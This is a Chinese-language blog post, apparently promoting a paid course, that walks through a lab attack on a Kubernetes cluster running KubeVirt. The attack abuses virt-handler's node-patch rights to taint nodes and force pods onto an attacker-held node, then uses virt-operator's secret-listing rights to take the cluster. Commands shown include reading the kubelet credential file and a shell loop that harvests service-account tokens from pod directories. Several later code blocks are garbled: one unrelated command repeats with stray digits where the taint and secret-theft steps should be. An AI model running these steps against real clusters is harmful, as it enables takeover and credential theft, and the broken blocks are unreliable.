前言
以前发过文章,不过这次是重置版,实验更加完善。为了避免时长过长,公开课中集群基础知识只会一嘴提过,并不会细致做说明。
公开课:
听课前置要求,具备 Kubernetes 基础知识,对集群中常见资源有一定的了解。
礼物,本公众号中【一个易懂、完整、实战的K8S攻防靶场演练】文章内的靶场镜像、集群环境配置。(文末领取)
付费学员:
付费课程中,该模块的教学更加清晰,包括完整的环境部署、细致的知识点讲解、成因分析等。
付费课程中,【综合攻防靶场】模块将会提供完整的靶场镜像制作教程,最简单的 无坑点的集群环境配置。
前置知识
验证 Kubevirt 环境
kubectl get kubevirt.kubevirt.io/kubevirt -n kubevirt -o=jsonpath="{.status.phase}" && kubectl get all -n kubevirt
Kubevirt 应用有两个组件:virt-handler 和 virt-operator。
其中 virt-handler 是一个 DaemonSet(这意味着其在集群中的多个节点上都运行着Pod),
virt-handler 实际运行成 pod 后都会挂载一个名为 kubevirt-handler 的服务账户,
kubectl get pods virt-handler-xxx -n kubevirt -o jsonpath='{.spec.serviceAccount}'
该服务账户通过 ClusterRoleBinding 绑定了一个名为 kubevirt-handler 的 ClusterRole,
kubectl get clusterrolebindings --all-namespaces | grep kubevirt-handler
该 ClusterRole 描述了对 nodes 资源的 patch 权限,
kubectl describe clusterrole kubevirt-handler
另一个组件 virit-operator 是 Deployment 资源,
该组件拥有 kubevirt-operator 服务账号,对 secrets 资源的 list 权限。
kubectl describe clusterrole kubevirt-operator | grep secrets
总结:
综上,攻击者对Kubernetes集群的攻击可以分为两步:
第一步,先利用 virt-handler 对 node 的 patch 权限,让其余正常 node 节点排斥所有 Pod(通过patch 一个 taint 实现),在这之后,Pod 将被迫运行在攻击者控制的 node 节点上,这其中当然也包括着 virt-operator 组件;
第二步,由于 virt-operator 已经运行在攻击者所控节点中,因此可利用 virt-operator 对 secrets 资源的 list 权限,直接请求 kube-apiserver,拿到集群管理员的 secrets,从而实现权限提升,控制整个集群。
开始攻击
在实际情况下,攻击应用程序 -> 拿到 pod 权限 -> pod 逃逸到 node -> 控制整个集群,目前需要处于第三步,当前权限是一个工作 node 的全局权限。
信息收集
在 node 获取集群版本信息,
curl -k https://demo-control-plane:6443/version
在 node 中下载对应版本的 kubectl 方便操作,
curl -k -LO https://storage.googleapis.com/kubernetes-release/release/v1.23.2/bin/linux/amd64/kubectl
chmod +x ./kubectl
mv ./kubectl /usr/local/bin/kubectl
kubectl version
查看当前 node 的凭证权限,
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf auth can-i --list
获取所有 node 信息,
kubectl --kubeconfig=/etc/kubernetes/kubelet.conf get nodes
在 node 中利用 shell 脚本快速列出每个 Pod 中挂载 token 的命名空间和位置,
tokens=`find /var/lib/kubelet/pods/ -name token -type l`; for token in $tokens; do parent_dir="$(dirname "$token")"; namespace=`cat $parent_dir/namespace`; echo $namespace "|" $token ; done | sort
权限检查
依次对上面获取到的 token 进行权限检查,发现有一个 token 存在不安全的权限,
kubectl get pods virt-handler-xxx -n kubevirt -o jsonpath='{.spec.serviceAccount}'
0
kubectl get pods virt-handler-xxx -n kubevirt -o jsonpath='{.spec.serviceAccount}'
1
利用污点强制调度
利用污点这个调度器,让非 demo-worker 的工作节点排斥所有 Pod,这样子,这些 Pod 就能并且只能运行在 demo-worker 节点上,这个被我们完全控制的节点,意味着我们可以获取更多的 Pod 资源,增加攻击面。
kubectl get pods virt-handler-xxx -n kubevirt -o jsonpath='{.spec.serviceAccount}'
2
再次查看 demo-worker 节点上 Pod 信息,ls /var/lib/kubelet/pods/
kubectl get pods virt-handler-xxx -n kubevirt -o jsonpath='{.spec.serviceAccount}'
3
获取高危组件的权限
kubectl get pods virt-handler-xxx -n kubevirt -o jsonpath='{.spec.serviceAccount}'
4
文档链接,包括本文的实验步骤以及礼物下载。
https://www.yuque.com/litanran/ctek18/zrkd25gabfgbzcze
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...